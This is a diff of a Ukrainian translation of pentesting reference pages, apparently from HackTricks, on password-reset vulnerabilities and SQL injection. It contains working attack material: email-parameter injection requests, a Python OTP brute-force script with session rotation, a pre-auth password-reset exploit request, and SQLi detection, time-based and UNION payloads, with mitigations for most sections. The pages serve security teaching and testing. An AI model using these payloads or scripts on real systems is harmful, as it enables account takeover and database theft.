- **Експлуатація**: Щоб перевірити, чи витікає токен скидання пароля в заголовку реферера, **запросіть скидання пароля** на вашу електронну адресу та **натисніть на посилання для скидання**, яке надано. **Не змінюйте свій пароль** відразу. Натомість, **перейдіть на веб-сайт третьої сторони** (наприклад, Facebook або Twitter), **перехоплюючи запити за допомогою Burp Suite**. Перевірте запити, щоб дізнатися, чи **заголовок реферера містить токен скидання пароля**, оскільки це може розкрити чутливу інформацію третім особам.
|
||||
- **Посилання**:
|
||||
- The HTTP referer header may leak the токен для скидання пароля if it's included in the URL. This can occur when a user clicks on a third-party website link after requesting a password reset.
|
||||
- **Impact**: Можливе захоплення облікового запису через Cross-Site Request Forgery (CSRF) атаки.
|
||||
- **Exploitation**: Щоб перевірити, чи витікає токен для скидання пароля в referer header, **request a password reset** на вашу електронну адресу і **click the reset link**, що прийде. **Do not change your password** негайно. Натомість **navigate to a third-party website** (наприклад Facebook або Twitter), одночасно **intercepting the requests using Burp Suite**. Перевірте запити, щоб з'ясувати, чи **referer header contains the password reset token**, оскільки це може розкрити чутливу інформацію третім особам.
|
||||
- **References**:
|
||||
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
|
||||
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
|
||||
- [Стаття про витік токена скидання пароля](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
|
||||
- [Password Reset Token Leak Article](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
|
||||
|
||||
## **Отруєння скидання пароля**
|
||||
## **Password Reset Poisoning**
|
||||
|
||||
- Зловмисники можуть маніпулювати заголовком Host під час запитів на скидання пароля, щоб вказати посилання для скидання на шкідливий сайт.
|
||||
- **Вплив**: Призводить до потенційного захоплення облікового запису шляхом витоку токенів скидання зловмисникам.
|
||||
- **Кроки з пом'якшення**:
|
||||
- Перевірте заголовок Host на відповідність білому списку дозволених доменів.
|
||||
- Використовуйте безпечні, серверні методи для генерації абсолютних URL.
|
||||
- **Патч**: Використовуйте `$_SERVER['SERVER_NAME']` для створення URL скидання пароля замість `$_SERVER['HTTP_HOST']`.
|
||||
- **Посилання**:
|
||||
- [Стаття Acunetix про отруєння скидання пароля](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||
- Attackers may manipulate the Host header during password reset requests to point the reset link to a malicious site.
|
||||
- **Impact**: Призводить до потенційного захоплення облікового запису через leaking reset tokens to attackers.
|
||||
- **Mitigation Steps**:
|
||||
- Validate the Host header against a whitelist of allowed domains.
|
||||
- Use secure, server-side methods to generate absolute URLs.
|
||||
- **Patch**: Use `$_SERVER['SERVER_NAME']` to construct password reset URLs instead of `$_SERVER['HTTP_HOST']`.
|
||||
- **References**:
|
||||
- [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||
|
||||
## **Скидання пароля шляхом маніпулювання параметром електронної пошти**
|
||||
## **Password Reset By Manipulating Email Parameter**
|
||||
|
||||
Зловмисники можуть маніпулювати запитом на скидання пароля, додаючи додаткові параметри електронної пошти, щоб відвести посилання для скидання.
|
||||
Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.
|
||||
|
||||
- Додайте електронну пошту зловмисника як другий параметр, використовуючи &
|
||||
- Додати attacker email як другий параметр, використовуючи &
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com&email=attacker@email.com
|
||||
```
|
||||
- Додайте електронну пошту атакуючого як другий параметр, використовуючи %20
|
||||
- Додайте електронну адресу атакуючого як другий параметр, використовуючи %20
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com%20email=attacker@email.com
|
||||
```
|
||||
- Додайте електронну пошту атакуючого як другий параметр, використовуючи |
|
||||
- Додайте електронну адресу атакуючого як другий параметр, використовуючи |
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com|email=attacker@email.com
|
||||
```
|
||||
- Додайте електронну пошту атакуючого як другий параметр, використовуючи cc
|
||||
- Додати електронну адресу attacker як другий параметр, використовуючи cc
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
|
||||
```
|
||||
- Додайте електронну пошту атакуючого як другий параметр, використовуючи bcc
|
||||
- Додати attacker email як другий параметр, використовуючи bcc
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
|
||||
```
|
||||
- Додайте електронну пошту атакуючого як другий параметр, використовуючи ,
|
||||
- Додайте attacker email як другий параметр, використовуючи ,
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld",email="attacker@mail.tld"
|
||||
```
|
||||
- Додайте електронну пошту атакуючого як другий параметр у масиві json
|
||||
- Додати attacker email як другий параметр у json array
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
{"email":["victim@mail.tld","atracker@mail.tld"]}
|
||||
```
|
||||
- **Кроки пом'якшення**:
|
||||
- Правильно аналізуйте та перевіряйте параметри електронної пошти на стороні сервера.
|
||||
- Використовуйте підготовлені запити або параметризовані запити для запобігання атакам ін'єкцій.
|
||||
- **Заходи пом'якшення**:
|
||||
- Правильно розбирайте та перевіряйте параметри електронної пошти на стороні сервера.
|
||||
- Використовуйте prepared statements або parameterized queries, щоб запобігти injection attacks.
|
||||
- **Посилання**:
|
||||
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
|
||||
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
|
||||
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
|
||||
|
||||
## **Зміна електронної пошти та пароля будь-якого користувача через параметри API**
|
||||
## **Зміна email та пароля будь-якого користувача через параметри API**
|
||||
|
||||
- Зловмисники можуть змінювати параметри електронної пошти та пароля в запитах API, щоб змінити облікові дані акаунта.
|
||||
- Зловмисники можуть змінювати параметри електронної пошти та пароля в API-запитах, щоб змінити облікові дані облікового запису.
|
||||
```php
|
||||
POST /api/changepass
|
||||
[...]
|
||||
("form": {"email":"victim@email.tld","password":"12345678"})
|
||||
```
|
||||
- **Кроки пом'якшення**:
|
||||
- Забезпечте сувору перевірку параметрів та аутентифікаційні перевірки.
|
||||
- Реалізуйте надійне ведення журналу та моніторинг для виявлення та реагування на підозрілі дії.
|
||||
- **Заходи пом'якшення**:
|
||||
- Забезпечте сувору валідацію параметрів та перевірки автентифікації.
|
||||
- Реалізуйте надійне логування та моніторинг для виявлення й реагування на підозрілі дії.
|
||||
- **Посилання**:
|
||||
- [Повне захоплення облікового запису через маніпуляцію параметрами API](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||||
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||||
|
||||
## **Відсутність обмеження швидкості: Email бомбардування**
|
||||
## **No Rate Limiting: Email Bombing**
|
||||
|
||||
- Відсутність обмеження швидкості на запити скидання пароля може призвести до бомбардування електронною поштою, перевантажуючи користувача електронними листами для скидання.
|
||||
- **Кроки пом'якшення**:
|
||||
- Реалізуйте обмеження швидкості на основі IP-адреси або облікового запису користувача.
|
||||
- Використовуйте CAPTCHA для запобігання автоматизованому зловживанню.
|
||||
- Відсутність rate limiting на запитах скидання пароля може призвести до email bombing, що перевантажить користувача листами для скидання пароля.
|
||||
- **Заходи пом'якшення**:
|
||||
- Реалізуйте rate limiting на основі IP-адреси або облікового запису користувача.
|
||||
- Використовуйте CAPTCHA, щоб запобігти автоматизованому зловживанню.
|
||||
- **Посилання**:
|
||||
- [Звіт HackerOne 280534](https://hackerone.com/reports/280534)
|
||||
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
|
||||
|
||||
## **Дізнайтеся, як генерується токен скидання пароля**
|
||||
## **Дізнатися, як генерується токен для скидання пароля**
|
||||
|
||||
- Розуміння шаблону або методу генерації токенів може призвести до прогнозування або брутфорсингу токенів. Деякі варіанти:
|
||||
- На основі часу
|
||||
- Розуміння патерну або методу генерації токена може дозволити передбачати або brute-forcing токени. Деякі варіанти:
|
||||
- На основі мітки часу
|
||||
- На основі UserID
|
||||
- На основі електронної пошти користувача
|
||||
- На основі email користувача
|
||||
- На основі імені та прізвища
|
||||
- На основі дати народження
|
||||
- На основі криптографії
|
||||
- **Кроки пом'якшення**:
|
||||
- Використовуйте надійні, криптографічні методи для генерації токенів.
|
||||
- Забезпечте достатню випадковість і довжину, щоб запобігти передбачуваності.
|
||||
- **Заходи пом'якшення**:
|
||||
- Використовуйте сильні криптографічні методи для генерації токенів.
|
||||
- Забезпечте достатню випадковість та довжину, щоб запобігти передбачуваності.
|
||||
- **Інструменти**: Використовуйте Burp Sequencer для аналізу випадковості токенів.
|
||||
|
||||
## **Легко вгадуваний UUID**
|
||||
## **Передбачуваний UUID**
|
||||
|
||||
- Якщо UUIDs (версія 1) вгадувані або передбачувані, зловмисники можуть brute-force їх, щоб згенерувати дійсні токени скидання. Перевірте:
|
||||
|
||||
- Якщо UUID (версія 1) можна вгадати або передбачити, зловмисники можуть брутфорсити їх для генерації дійсних токенів скидання. Перевірте:
|
||||
|
||||
{{#ref}}
|
||||
uuid-insecurities.md
|
||||
{{#endref}}
|
||||
|
||||
- **Кроки пом'якшення**:
|
||||
- Використовуйте GUID версії 4 для випадковості або реалізуйте додаткові заходи безпеки для інших версій.
|
||||
- **Заходи пом'якшення**:
|
||||
- Використовуйте GUID версії 4 для випадковості або впровадьте додаткові заходи безпеки для інших версій.
|
||||
- **Інструменти**: Використовуйте [guidtool](https://github.com/intruder-io/guidtool) для аналізу та генерації GUID.
|
||||
|
||||
## **Маніпуляція відповіддю: Замініть погану відповідь на хорошу**
|
||||
## **Маніпуляція відповіді: заміна помилкової відповіді на коректну**
|
||||
|
||||
- Маніпулювання HTTP-відповідями для обходу повідомлень про помилки або обмежень.
|
||||
- **Кроки пом'якшення**:
|
||||
- Реалізуйте перевірки на стороні сервера, щоб забезпечити цілісність відповіді.
|
||||
- Використовуйте безпечні канали зв'язку, такі як HTTPS, щоб запобігти атакам "людина посередині".
|
||||
- Маніпуляція HTTP-відповідями для обходу повідомлень про помилку або обмежень.
|
||||
- **Заходи пом'якшення**:
|
||||
- Реалізуйте серверні перевірки, щоб забезпечити цілісність відповідей.
|
||||
- Використовуйте захищені канали зв'язку, такі як HTTPS, щоб запобігти man-in-the-middle атакам.
|
||||
- **Посилання**:
|
||||
- [Критична помилка на живому заході з винагородами за помилки](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||
|
||||
## **Використання простроченого токена**
|
||||
|
||||
- Тестування, чи можна ще використовувати прострочені токени для скидання пароля.
|
||||
- **Кроки пом'якшення**:
|
||||
- Реалізуйте суворі політики закінчення терміну дії токенів і перевіряйте термін дії токена на стороні сервера.
|
||||
- Перевірка, чи можна все ще використовувати прострочені токени для скидання пароля.
|
||||
- **Заходи пом'якшення**:
|
||||
- Впровадьте суворі політики терміну дії токенів і перевіряйте їх прострочення на стороні сервера.
|
||||
|
||||
## **Брутфорс токена скидання пароля**
|
||||
## **Brute Force Password Reset Token**
|
||||
|
||||
- Спроба брутфорсити токен скидання, використовуючи інструменти, такі як Burpsuite та IP-Rotator, щоб обійти обмеження швидкості на основі IP.
|
||||
- **Кроки пом'якшення**:
|
||||
- Реалізуйте надійне обмеження швидкості та механізми блокування облікових записів.
|
||||
- Моніторинг підозрілих дій, що вказують на атаки брутфорс.
|
||||
- Спроба brute-force токена скидання за допомогою інструментів на кшталт Burpsuite та IP-Rotator для обходу обмежень за IP.
|
||||
- **Заходи пом'якшення**:
|
||||
- Впровадьте надійні механізми rate-limiting і блокування облікового запису.
|
||||
- Моніторьте підозрілі дії, які вказують на brute-force атаки.
|
||||
|
||||
## **Спробуйте використати свій токен**
|
||||
## **Спроба використати свій токен**
|
||||
|
||||
- Тестування, чи можна використовувати токен скидання зловмисника разом з електронною поштою жертви.
|
||||
- **Кроки пом'якшення**:
|
||||
- Забезпечте, щоб токени були прив'язані до сеансу користувача або інших специфічних атрибутів користувача.
|
||||
- Перевірка, чи може reset token зловмисника бути використаний разом з email жертви.
|
||||
- **Заходи пом'якшення**:
|
||||
- Переконайтеся, що токени прив'язані до сесії користувача або інших атрибутів, специфічних для користувача.
|
||||
|
||||
## **Недійсність сеансу при виході/скиданні пароля**
|
||||
## **Інвалідація сесії при виході/скиданні пароля**
|
||||
|
||||
- Забезпечення недійсності сеансів, коли користувач виходить або скидає свій пароль.
|
||||
- **Кроки пом'якшення**:
|
||||
- Реалізуйте належне управління сеансами, забезпечуючи недійсність усіх сеансів при виході або скиданні пароля.
|
||||
- Забезпечення інвалідації сесій, коли користувач виходить або скидає пароль.
|
||||
- **Заходи пом'якшення**:
|
||||
- Реалізуйте правильне управління сесіями, забезпечуючи інвалідацію всіх сесій при виході або скиданні пароля.
|
||||
|
||||
## **Недійсність сеансу при виході/скиданні пароля**
|
||||
## **Інвалідація сесії при виході/скиданні пароля**
|
||||
|
||||
- Токени скидання повинні мати час закінчення, після якого вони стають недійсними.
|
||||
- **Кроки пом'якшення**:
|
||||
- Встановіть розумний час закінчення для токенів скидання та суворо дотримуйтеся цього на стороні сервера.
|
||||
- Reset tokens повинні мати час життя, після якого вони стають недійсними.
|
||||
- **Заходи пом'якшення**:
|
||||
- Встановіть розумний час життя для reset token і суворо примусово перевіряйте його на боці сервера.
|
||||
|
||||
## **Обхід обмеження швидкості OTP, змінюючи свій сеанс**
|
||||
## **Обхід ліміту OTP шляхом зміни сесії**
|
||||
|
||||
- Якщо веб-сайт використовує сеанс користувача для відстеження неправильних спроб OTP, і OTP був слабким (<= 4 цифри), то ми можемо ефективно брутфорсити OTP.
|
||||
- **експлуатація**:
|
||||
- просто запитайте новий токен сеансу після блокування сервером.
|
||||
- **Приклад** коду, який експлуатує цю помилку, випадково вгадуючи OTP (коли ви змінюєте сеанс, OTP також зміниться, і тому ми не зможемо послідовно брутфорсити його!):
|
||||
- Якщо сайт використовує сесію користувача для відстеження невірних спроб OTP і OTP був слабким (<= 4 цифри), то ми можемо ефективно brute-force OTP.
|
||||
- **Експлуатація**:
|
||||
- просто запросіть новий токен сесії після блокування сервером.
|
||||
- **Example** code that exploits this bug by randomly guessing the OTP (when you change the session the OTP will change as well, and so we will not be able to sequentially bruteforce it!):
|
||||
|
||||
``` python
|
||||
# Обхід аутентифікації через скидання пароля
|
||||
# від coderMohammed
|
||||
# Authentication bypass by password reset
|
||||
# by coderMohammed
|
||||
import requests
|
||||
import random
|
||||
from time import sleep
|
||||
@ -192,46 +193,83 @@ parms = dict()
|
||||
ter = 0
|
||||
phpsessid = ""
|
||||
|
||||
print("[+] Початок атаки!")
|
||||
print("[+] Starting attack!")
|
||||
sleep(3)
|
||||
print("[+] Це може зайняти близько 5 хвилин!")
|
||||
print("[+] This might take around 5 minutes to finish!")
|
||||
|
||||
try:
|
||||
while True:
|
||||
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # випадкове число від 0 до 9999 з 4 цифрами
|
||||
parms["s"] = 164 # не важливо, це лише впливає на фронтенд
|
||||
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
|
||||
parms["s"] = 164 # not important it only efects the frontend
|
||||
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
|
||||
|
||||
if ter == 8: # слідкуйте за кількістю спроб
|
||||
out = requests.get(logout,headers=headers) # виходить
|
||||
mainp = requests.get(root) # отримує ще один phpssid (токен)
|
||||
if ter == 8: # follow number of trails
|
||||
out = requests.get(logout,headers=headers) # log u out
|
||||
mainp = requests.get(root) # gets another phpssid (token)
|
||||
|
||||
cookies = out.cookies # витягує sessionid
|
||||
cookies = out.cookies # extract the sessionid
|
||||
phpsessid = cookies.get('PHPSESSID')
|
||||
headers["cookies"]=f"PHPSESSID={phpsessid}" # оновлює заголовки з новим сеансом
|
||||
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session
|
||||
|
||||
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # надсилає електронну пошту для зміни пароля
|
||||
ter = 0 # скидає ter, щоб отримати новий сеанс після 8 спроб
|
||||
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
|
||||
ter = 0 # reset ter so we get a new session after 8 trails
|
||||
else:
|
||||
ter += 1
|
||||
if(len(res.text) == 2292): # це довжина сторінки, коли ви правильно отримали код відновлення (отримано тестуванням)
|
||||
print(len(res.text)) # для інформації про налагодження
|
||||
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
|
||||
print(len(res.text)) # for debug info
|
||||
print(phpsessid)
|
||||
|
||||
reset_data = { # тут ми змінимо пароль на щось нове
|
||||
reset_data = { # here we will change the password to somthing new
|
||||
"new_password": "D37djkamd!",
|
||||
"confirm_password": "D37djkamd!"
|
||||
}
|
||||
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
|
||||
|
||||
print("[+] Пароль було змінено на:D37djkamd!")
|
||||
print("[+] Password has been changed to:D37djkamd!")
|
||||
break
|
||||
except Exception as e:
|
||||
print("[+] Атака зупинена")
|
||||
print("[+] Attck stopped")
|
||||
```
|
||||
|
||||
## Посилання
|
||||
## Довільне скидання пароля через skipOldPwdCheck (pre-auth)
|
||||
|
||||
Деякі реалізації відкривають дію зміни пароля, яка викликає routine зміни пароля з skipOldPwdCheck=true і не перевіряє жодного reset token або права власності. Якщо endpoint приймає параметр action, наприклад change_password, та username/new password в тілі запиту, зловмисник може скинути довільні облікові записи pre-auth.
|
||||
|
||||
Вразливий патерн (PHP):
|
||||
```php
|
||||
// hub/rpwd.php
|
||||
RequestHandler::validateCSRFToken();
|
||||
$RP = new RecoverPwd();
|
||||
$RP->process($_REQUEST, $_POST);
|
||||
|
||||
// modules/Users/RecoverPwd.php
|
||||
if ($request['action'] == 'change_password') {
|
||||
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
|
||||
}
|
||||
|
||||
public function displayChangePwd($smarty, $username, $newpwd) {
|
||||
$current_user = CRMEntity::getInstance('Users');
|
||||
$current_user->id = $current_user->retrieve_user_id($username);
|
||||
// ... criteria checks omitted ...
|
||||
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
|
||||
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
|
||||
}
|
||||
```
|
||||
Запит на експлуатацію (концепція):
|
||||
```http
|
||||
POST /hub/rpwd.php HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
|
||||
```
|
||||
Заходи пом'якшення:
|
||||
- Завжди вимагайте дійсний, time-bound reset token, прив'язаний до account і session перед зміною пароля.
|
||||
- Ніколи не відкривайте доступ до шляхів skipOldPwdCheck неавторизованим користувачам; вимагайте автентифікацію для звичайної зміни пароля та перевіряйте старий пароль.
|
||||
- Скасуйте всі активні sessions та reset tokens після зміни пароля.
|
||||
|
||||
## Джерела
|
||||
|
||||
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Що таке SQL-ін'єкція?
|
||||
## Що таке SQL injection?
|
||||
|
||||
**SQL-ін'єкція** — це вразливість безпеки, яка дозволяє зловмисникам **втручатися в запити до бази даних** програми. Ця вразливість може дозволити зловмисникам **переглядати**, **модифікувати** або **видаляти** дані, до яких вони не повинні мати доступ, включаючи інформацію інших користувачів або будь-які дані, до яких може отримати доступ програма. Такі дії можуть призвести до постійних змін у функціональності або змісті програми, або навіть до компрометації сервера чи відмови в обслуговуванні.
|
||||
An **SQL injection** — це вразливість, яка дозволяє зловмисникам **втручатися в запити до бази даних** застосунку. Ця вразливість може дозволити зловмисникам **переглядати**, **змінювати** або **видаляти** дані, до яких вони не повинні мати доступ, включаючи інформацію інших користувачів або будь-які дані, до яких має доступ застосунок. Такі дії можуть призвести до постійних змін у функціональності або вмісті застосунку, або навіть до компрометації сервера чи denial of service.
|
||||
|
||||
## Виявлення точок входу
|
||||
## Виявлення точки входу
|
||||
|
||||
Коли сайт виглядає **вразливим до SQL-ін'єкції (SQLi)** через незвичайні відповіді сервера на запити, пов'язані з SQLi, **першим кроком** є розуміння того, як **впроваджувати дані в запит без його порушення**. Це вимагає визначення методу, щоб **ефективно вийти з поточного контексту**. Ось кілька корисних прикладів:
|
||||
Коли сайт здається **вразливим до SQL injection (SQLi)** через незвичні відповіді сервера на введення, пов'язані з SQLi, **перший крок** — зрозуміти, як **впровадити дані в запит, не порушивши його**. Для цього потрібно визначити спосіб **вийти з поточного контексту** ефективно. Ось кілька корисних прикладів:
|
||||
```
|
||||
[Nothing]
|
||||
'
|
||||
@ -21,9 +21,9 @@
|
||||
"))
|
||||
`))
|
||||
```
|
||||
Тоді вам потрібно знати, як **виправити запит, щоб не було помилок**. Щоб виправити запит, ви можете **ввести** дані, щоб **попередній запит прийняв нові дані**, або ви можете просто **ввести** свої дані та **додати символ коментаря в кінці**.
|
||||
Тоді вам потрібно знати, як **виправити запит, щоб не було помилок**. Щоб виправити запит, ви можете **ввести** дані так, щоб **попередній запит прийняв нові дані**, або ви можете просто **ввести** свої дані та **додати символ коментаря в кінці**.
|
||||
|
||||
_Зверніть увагу, що якщо ви можете бачити повідомлення про помилки або помітити відмінності, коли запит працює, а коли ні, цей етап буде легшим._
|
||||
_Зверніть увагу, що якщо ви бачите повідомлення про помилки або можете помітити відмінності, коли запит працює і коли ні, ця фаза буде легшою._
|
||||
|
||||
### **Коментарі**
|
||||
```sql
|
||||
@ -51,20 +51,20 @@ SQLite
|
||||
HQL
|
||||
HQL does not support comments
|
||||
```
|
||||
### Підтвердження за допомогою логічних операцій
|
||||
### Підтвердження логічними операціями
|
||||
|
||||
Надійний метод підтвердження вразливості до SQL-ін'єкцій полягає в виконанні **логічної операції** та спостереженні за очікуваними результатами. Наприклад, GET-параметр, такий як `?username=Peter`, який дає ідентичний контент при зміні на `?username=Peter' or '1'='1`, вказує на вразливість до SQL-ін'єкцій.
|
||||
Надійний метод підтвердження вразливості SQL injection полягає у виконанні **логічної операції** та спостереженні очікуваних результатів. Наприклад, GET parameter такий як `?username=Peter`, який повертає ідентичний вміст при зміні на `?username=Peter' or '1'='1`, свідчить про вразливість SQL injection.
|
||||
|
||||
Аналогічно, застосування **математичних операцій** є ефективною технікою підтвердження. Наприклад, якщо доступ до `?id=1` та `?id=2-1` дає той самий результат, це вказує на SQL-ін'єкцію.
|
||||
Аналогічно, застосування **математичних операцій** також є ефективною технікою підтвердження. Наприклад, якщо доступ до `?id=1` і `?id=2-1` дає той самий результат, це вказує на SQL injection.
|
||||
|
||||
Приклади, що демонструють підтвердження логічної операції:
|
||||
Приклади, що демонструють підтвердження логічними операціями:
|
||||
```
|
||||
page.asp?id=1 or 1=1 -- results in true
|
||||
page.asp?id=1' or 1=1 -- results in true
|
||||
page.asp?id=1" or 1=1 -- results in true
|
||||
page.asp?id=1 and 1=2 -- results in false
|
||||
```
|
||||
Цей список слів був створений, щоб спробувати **підтвердити SQLinjections** у запропонований спосіб:
|
||||
Цей список слів був створений, щоб спробувати **підтвердити SQLinjections** запропонованим способом:
|
||||
|
||||
<details>
|
||||
<summary>Справжній SQLi</summary>
|
||||
@ -154,10 +154,10 @@ true
|
||||
```
|
||||
</details>
|
||||
|
||||
### Підтвердження за допомогою часу
|
||||
### Підтвердження за часом
|
||||
|
||||
В деяких випадках ви **не помітите жодних змін** на сторінці, яку тестуєте. Тому хороший спосіб **виявити сліпі SQL-ін'єкції** - це змусити БД виконувати дії, які матимуть **вплив на час**, необхідний для завантаження сторінки.\
|
||||
Отже, ми будемо конкатенувати в SQL-запиті операцію, яка займе багато часу для виконання:
|
||||
У деяких випадках ви **не помітите жодних змін** на сторінці, яку тестуєте. Тому хорошим способом **discover blind SQL injections** є змусити DB виконати дії, які матимуть **вплив на час** завантаження сторінки.\
|
||||
Тому ми збираємося concat у SQL-запиті операцію, яка займе багато часу на виконання:
|
||||
```
|
||||
MySQL (string concat and logical ops)
|
||||
1' + sleep(10)
|
||||
@ -179,11 +179,11 @@ SQLite
|
||||
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
|
||||
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
|
||||
```
|
||||
В деяких випадках **функції затримки не будуть дозволені**. Тоді, замість використання цих функцій, ви можете зробити запит, який **виконає складні операції**, що займе кілька секунд. _Приклади цих технік будуть прокоментовані окремо для кожної технології (якщо такі є)_.
|
||||
У деяких випадках **sleep functions won't be allowed**. Тоді, замість використання цих функцій ви можете змусити запит **perform complex operations**, які триватимуть кілька секунд. _Examples of these techniques are going to be commented separately on each technology (if any)_.
|
||||
|
||||
### Визначення бекенду
|
||||
### Ідентифікація Back-end
|
||||
|
||||
Найкращий спосіб визначити бекенд - це спробувати виконати функції різних бекендів. Ви можете використовувати _**sleep**_ **функції** з попереднього розділу або ці (таблиця з [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
|
||||
Найкращий спосіб ідентифікувати back-end — спробувати виконати функції різних back-end'ів. Ви можете використовувати _**sleep**_ **functions** попереднього розділу або ці (таблиця з [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
|
||||
```bash
|
||||
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
|
||||
["connection_id()=connection_id()" ,"MYSQL"],
|
||||
@ -211,29 +211,29 @@ SQLite
|
||||
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||
```
|
||||
Також, якщо у вас є доступ до виходу запиту, ви можете **вивести версію бази даних**.
|
||||
Також, якщо ви маєте доступ до виводу запиту, ви можете змусити його **вивести версію бази даних**.
|
||||
|
||||
> [!TIP]
|
||||
> У продовженні ми будемо обговорювати різні методи експлуатації різних видів SQL Injection. Ми будемо використовувати MySQL як приклад.
|
||||
> У продовженні ми обговоримо різні методи експлуатації різних типів SQL Injection. Ми використовуватимемо MySQL як приклад.
|
||||
|
||||
### Ідентифікація з PortSwigger
|
||||
### Identifying with PortSwigger
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://portswigger.net/web-security/sql-injection/cheat-sheet
|
||||
{{#endref}}
|
||||
|
||||
## Експлуатація на основі Union
|
||||
## Exploiting Union Based
|
||||
|
||||
### Визначення кількості стовпців
|
||||
### Detecting number of columns
|
||||
|
||||
Якщо ви можете бачити вихід запиту, це найкращий спосіб його експлуатувати.\
|
||||
По-перше, нам потрібно дізнатися **кількість** **стовпців**, які **початковий запит** повертає. Це тому, що **обидва запити повинні повертати однакову кількість стовпців**.\
|
||||
Зазвичай для цієї мети використовуються два методи:
|
||||
Якщо ви можете бачити вивід запиту, це найкращий спосіб його експлуатації.\
|
||||
Перш за все, нам потрібно з'ясувати **кількість** **стовпців**, які повертає **початковий запит**. Це тому, що **обидва запити повинні повертати однакову кількість стовпців**.\
|
||||
Зазвичай для цього використовуються два методи:
|
||||
|
||||
#### Order/Group by
|
||||
|
||||
Щоб визначити кількість стовпців у запиті, поступово змінюйте число, використане в **ORDER BY** або **GROUP BY** клаузах, поки не буде отримано хибну відповідь. Незважаючи на різні функціональні можливості **GROUP BY** та **ORDER BY** в SQL, обидва можуть бути використані однаково для визначення кількості стовпців запиту.
|
||||
Щоб визначити кількість стовпців у запиті, поступово збільшуйте число, що використовується в клаузах **ORDER BY** або **GROUP BY**, поки не отримаєте помилкову відповідь. Незважаючи на різні функції **GROUP BY** та **ORDER BY** в SQL, обидві можуть використовуватися ідентично для встановлення кількості стовпців у запиті.
|
||||
```sql
|
||||
1' ORDER BY 1--+ #True
|
||||
1' ORDER BY 2--+ #True
|
||||
@ -251,17 +251,17 @@ https://portswigger.net/web-security/sql-injection/cheat-sheet
|
||||
```
|
||||
#### UNION SELECT
|
||||
|
||||
Виберіть все більше і більше значень null, поки запит не буде правильним:
|
||||
Підставляйте дедалі більше null значень, поки запит не стане коректним:
|
||||
```sql
|
||||
1' UNION SELECT null-- - Not working
|
||||
1' UNION SELECT null,null-- - Not working
|
||||
